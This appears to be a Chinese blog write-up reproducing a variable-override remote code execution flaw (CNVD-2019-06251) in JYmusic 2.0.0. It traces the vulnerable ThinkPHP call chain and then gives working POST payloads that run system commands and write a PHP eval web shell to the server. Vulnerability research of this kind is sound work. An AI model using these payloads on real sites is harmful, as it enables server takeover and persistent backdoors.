JYmusic-2.0.0变量覆盖漏洞导致getshell
JYmusic-2.0.0变量覆盖漏洞导致getshell
目录
测试环境:windows + php5.4.45 + apache2(phpStudy集成环境)
使用工具:BurpSuite、 PhpStorm
漏洞描述:变量覆盖,导致可传入系统命令进行执行,通过系统命令可写入shell。
CNVD-ID: CNVD-2019-06251
一、漏洞分析
通过危险函数反追踪找到漏洞。
-
危险函数
/core/library/think/Request.php类中的filterValue函数中,使用了call_user_func函数。
通过构造使得$filter=system, $value=dir ,通过call_user_func函数即可执行系统命令” dir ”。 -
array_walk_recursive函数
/core/library/think/Request.php类中的input函数里调用了通过array_walk_recursive函数调用了filterValue函数。array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。
-
input函数
/core/library/think/Request.php中的param函数调用了input函数。
-
exec 函数
/core/library/think/App.php类中的exec 函数通过Request::instance()->param()调用了param函数。
-
run函数
/core/library/think/App.php类中的run函数则调用了exec函数
传入的dispatch和dispatch和dispatch和config两个参数分别来自于/core/library/think/App.php类中run函数里的:
-
变量覆盖
/core/library/think/App.php类中run函数里,获取dispatch变量值时调用了routeCheck函数。routeCheck函数中则通过Route::chekc调用了check函数。/core/library/think/Route.php类中,check函数通过dispatch变量值时调用了routeCheck函数。 routeCheck函数中则通过Route::chekc调用了check函数。 /core/library/think/Route.php类中,check函数通过dispatch变量值时调用了routeCheck函数。routeCheck函数中则通过Route::chekc调用了check函数。/core/library/think/Route.php类中,check函数通过request->method()调用了method函数。
/core/library/think/Request.php类中,通过post参数_method=__construct调用构造函数:
在构造函数里用filter=system覆盖类中的filter变量。
post参数 method=GET 就是要再次调用method函数,并且使得if(true===$method)为真,从而获取 _SERVER[REQUEST_METHOD]=dir 这个参数值。
-
调用入口
/core/library/think/App.php类中的run函数,则是在index.php入口函数中调用。
二、 漏洞测试
-
拦截首页请求,Change request method修改请求方式为POST
-
参数:
POST的参数的作用已在漏洞分析环节分析。
filter=system&_SERVER[REQUEST_METHOD]=dir&_method=__construct&method=GET
POST参数后不能有\r\n回车换行,如果有就不能成功执行。
POST /captcha HTTP/1.1 //请求一个验证码,引导程序的运行步骤。 -
写入shell
filter=system&_SERVER[REQUEST_METHOD]=echo “<?php @eval($_GET["test"]) ?>” >test.php&_method=__construct&method=GET -
phpinfo()
/test.php?test=phpinfo(); //末尾一定要跟一个“分号” “ ; ” ,如果没有则不能成功执行。
- 齐博CMS变量覆盖导致sql注入漏洞分析
- dedecms SESSION变量覆盖导致SQL注入漏洞修补方案
- 织梦(DEDE)CMS V5.3 覆盖任意变量导致远程包含漏洞
- Typecho反序列化导致前台 getshell 漏洞复现
- SESSION变量覆盖导致SQL注入漏洞
- phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞
- 阿里云提出的漏洞(Phpcms V9某处逻辑问题导致getshell漏洞解决方法)的问题
- [fortify] 变量覆盖漏洞
- DedeCms 漏洞为什么能覆盖数据库配置变量
- PHP代码审计笔记--变量覆盖漏洞
- 阿里云提示 Didcuz memcache+ssrf GETSHELL漏洞修复方法
- PJBlog 3.2.9.518 getwebshell 漏洞
- discuz教程:阿里提示Discuz memcache+ssrf GETSHELL漏洞的解决方法 终极解决办法 最新版
- DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞
- DedeCMSV53任意变量覆盖漏洞
- Joomla远程上传漏洞 可直接getshell
- shopex前台普通用户getshell最新漏洞
- PJBlog 3.2.9.518 getwebshell 漏洞
- 变量覆盖漏洞
- dede源码详细分析之--全局变量覆盖漏洞的防御